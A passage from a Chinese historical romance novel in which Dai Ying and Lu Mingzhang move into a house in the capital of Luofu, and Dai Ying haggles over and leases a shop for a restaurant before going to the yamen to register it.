戴缨赶紧从陆铭章怀里退出,拿帕子擦了擦眼,起身去开门。
门外站着归雁。
“可要婢子叫伙计送饭上来?”
戴缨“嗯”了一声:“再拿些蜡烛来,屋里太暗。”
归雁应声去了。
晚间,两人吃**后,看着天还早,到楼下散步消食。
罗扶京都并不宵禁,夜里比白日更加热闹,很多小贩出摊,售卖各种小玩意儿。
“是个什么样的人家?”戴缨问道。
陆铭章知道她在问什么,回道:“有些钱,有点权,养几个幕僚充面子。”
戴缨点了点头,两人又走了会儿,回了客栈。
次日一早,客栈前停了几辆马车,戴缨等人上了马车,往那宅子行去,走了一程,马车停下,几人下了车,进到宅院中。
戴缨一面走着,一面环顾四周,是处还算宽阔的宅子,有山有水,院里安置了几名下人。
一圈走下来,她往陆铭章脸上看了会儿,问了一句:“真的只是做幕僚?”
“这话还有假?”陆铭章回道,“我不是说了嘛,那户人家有钱,后来捐了个官做,就想充面子,他门下的清客都分得有宅子。”
“可咱们才来,你还未到人府上就职,那人为何如此厚待。”戴缨仍是疑心,不知想到什么,两眼一睁,“爷是不是应了什么不该应的事?千万别做违心之事。”
戴缨越想越觉着可能,继续道:“咱们眼下虽说困窘,但挨一挨总能应对过去。”
陆铭章安抚道:“放心,我心里有数,没有违心……”
哪有什么违心,他心里的那套准则和坚守被击得粉碎,如今他什么也不想,什么家国大义,什么君君臣臣,全都摈弃,只想护好她。
等到时机合适,他要让她坐上那最高的位置,给她天下最顶级的尊荣。
戴缨听了这话,心里稍安,不再追问,他一向是个有分寸的人,不会行出什么越矩之事。
戴缨和陆铭章住正院上房,归雁和长安身为贴身侍从,根据主人的安排就近住下,陈左和三个护卫住偏院。
既然住的地方有了,接下来戴缨筹备饭馆的事宜。
上次从青罗巷出来,回客栈的一路,她相看了一家店铺,位置不算太偏,周边人流也还行,店门前挂了招租的木牌,当时疏忽了,没有进去多问一嘴房金。
于是,待行李整理妥
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当,下午带着归雁和陈左再次去了那间铺面,进到那铺子时,正有两名男子在店中转看,一人走在前,一人落后半步。
前面一人像是也要租店,而后面一人像是屋主,那看似屋主之人,二十来岁,瘦长个头,一身布衣。
当戴缨三人进来时,后面那人瞟了他们一眼,点了点头以示招呼,然后继续跟在前面那人身后。
“呀!铺面位置偏,这年头生意难做,周边又没什么人……你这租金不再少些?”那人问道。
随在他一侧的瘦男子,想了想,十分为难地伸手两指:“这个数,再不能少了。”
那人摇了摇头:“我再看看。”说罢一转身,才发现身后还站了三人。
一时间犹豫要不要离开,他本想做势压一压房金,然而不及他多想,戴缨三人侧过身,让出一条道。
男人讪着脸甩袖走了。
待那人走后,瘦长男看向戴缨,问道:“不知这位娘子有何事?”
“大哥可是屋主?”戴缨问道。
瘦长男子点头应是。
“不知这铺面的房金要多少?”戴缨又问。
瘦长男子先是一怔,开口道:“你要租铺面?”说着将戴缨上下打量了一眼。
“是,怎么?不可以?”
男子连连摆手:“不,不,自然是可以的,听娘子口音是外乡人。”
戴缨不欲同他在这上面多说,转口问道:“这屋子的赁钱是多少?”
瘦长男子笑了笑,伸出三指比了比。
“你这人,适才分明见你同那人比得两指,怎么到我们这就多了个指头?”归雁气问道。
“你们也看到了,我这店铺不愁租,刚才那人一会儿定会回来。”
戴缨知道他想抬价,也不废话:“刚才和那人比的什么价,给我什么价,多了我也不要。”
屋主见这女子言语爽利,也想快些将屋子盘出去,便应下了。
因戴缨相应的手续还未办理,先奉上定金,待一应手续文书办好,再付尾款,就这么说定后,拟了契文,双方签字。
再之后,便是赴衙门办理相应文书。
这日一早,她起床梳洗毕,正待出门,被陆铭章叫住。
“今日去哪里?”
他听她说已将铺面定下,这几日去府衙,待相应**下来,便可筹备开张事宜。
戴缨从袖中抽出一张契纸,递过去:“严夫人给我拟了文字,上面有她作保,今儿去衙门,把这件事给办了,叫他们备案登记。”
陆铭章接过看了,点头道:“我随你一道。”
“爷要随我一起?”戴缨问,“今日不去那位官户人家了?”
“也不总去,今日正好得空。”
他是怕她一女子不好应对衙吏的盘问,便随在她的身侧。
戴缨点了点头,想着有他在身边会好一点,于是带了归雁和陈左,一起往衙门办事。
到了衙门,那衙吏见了戴缨递上的文书,满脸的不耐,在其中一项上点了点:“你这不对,不行,不行……”